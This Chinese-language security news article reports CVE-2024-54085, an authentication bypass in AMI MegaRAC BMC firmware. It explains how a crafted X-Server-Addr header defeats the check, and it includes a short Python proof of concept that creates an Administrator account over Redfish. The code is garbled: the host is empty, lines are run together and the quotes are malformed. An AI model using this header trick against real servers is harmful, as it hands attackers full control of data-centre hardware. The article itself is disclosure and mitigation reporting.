AMI BMC 严重漏洞致使攻击者可远程绕过身份验证

安全研究人员在 AMI 的 MegaRAC 软件中发现了一个新的严重漏洞，攻击者可借此远程绕过身份验证。

这个最新的安全漏洞编号为 CVE-2024-54085，影响众多数据中心设备和服务器型号，可能危及全球许多组织的云基础设施安全。

该漏洞存在于 AMI 基板管理控制器（BMC）软件的 Redfish 接口中，受影响的设备包括 HPE Cray XD670 和华硕 RS720A-E11-RS24U 服务器等。

根据安全分析，通过 Shodan 搜索在公共互联网上发现了约 1000 个暴露的实例。

Eclypsium 的研究人员确定，直至 2024 年 8 月的 MegaRAC 版本都受到这个身份验证绕过漏洞的影响。

他们的调查显示，该漏洞存在于固件文件系统内的 host-interface-support-module.lua 文件中，攻击者可通过操纵 HTTP 头值来规避安全控制。

这个漏洞的严重性不容小觑，当 Redfish 直接暴露在互联网上时，通用漏洞评分系统（CVSS）评分达到 10.0（CVSSv3）和 10.0（CVSSv4）。

即使在 Redfish 访问仅限于相邻网络的环境中，评分也高达 9.6（CVSSv3）和 9.4（CVSSv4），风险极大。

若攻击成功，攻击者可完全远程控制受感染的服务器，部署恶意软件或勒索软件，篡改固件，通过过压条件对硬件造成物理损坏，或者创建受害者不重新配置就无法恢复的无限重启循环。

漏洞利用详情

该漏洞源于 Redfish 接口中不当的输入验证。

存在漏洞的代码会检查 HTTP 头值，但会被精心构造的请求欺骗。当用户添加一个 X-Server-Addr 头时，lighttpd Web 服务器会将其与用户输入以及服务器的实际地址组合在一起：
X-Server-Addr: , ::ffff:1.2.3.4
代码使用正则表达式提取到第一个冒号之前的所有内容，这意味着如果攻击者发送 “169.254.0.17:” 作为输入，系统会提取 “169.254.0.17”，该值与数据库中的值匹配，从而绕过身份验证。

一个简单的漏洞利用示例如下：

import requestsprint(

json.dumps(requests.post(

‘https://:8443/redfish/v1/AccountService/Accounts’,

json={

‘Name’: ‘Hax0r’,

‘Password’: ‘password’,

‘UserName’: ‘demo712’,

‘RoleId’: ‘Administrator’,

},

verify=False,

headers={‘X – Server – Addr’: ‘169.254.0.17:’ }

).json(), indent=2))

AMI 已向原始设备制造商（OEM）发布补丁，OEM 现在必须将修复程序纳入为客户提供的更新中。

建议各组织确保远程管理接口不对外暴露，并对所有服务器定期进行固件更新。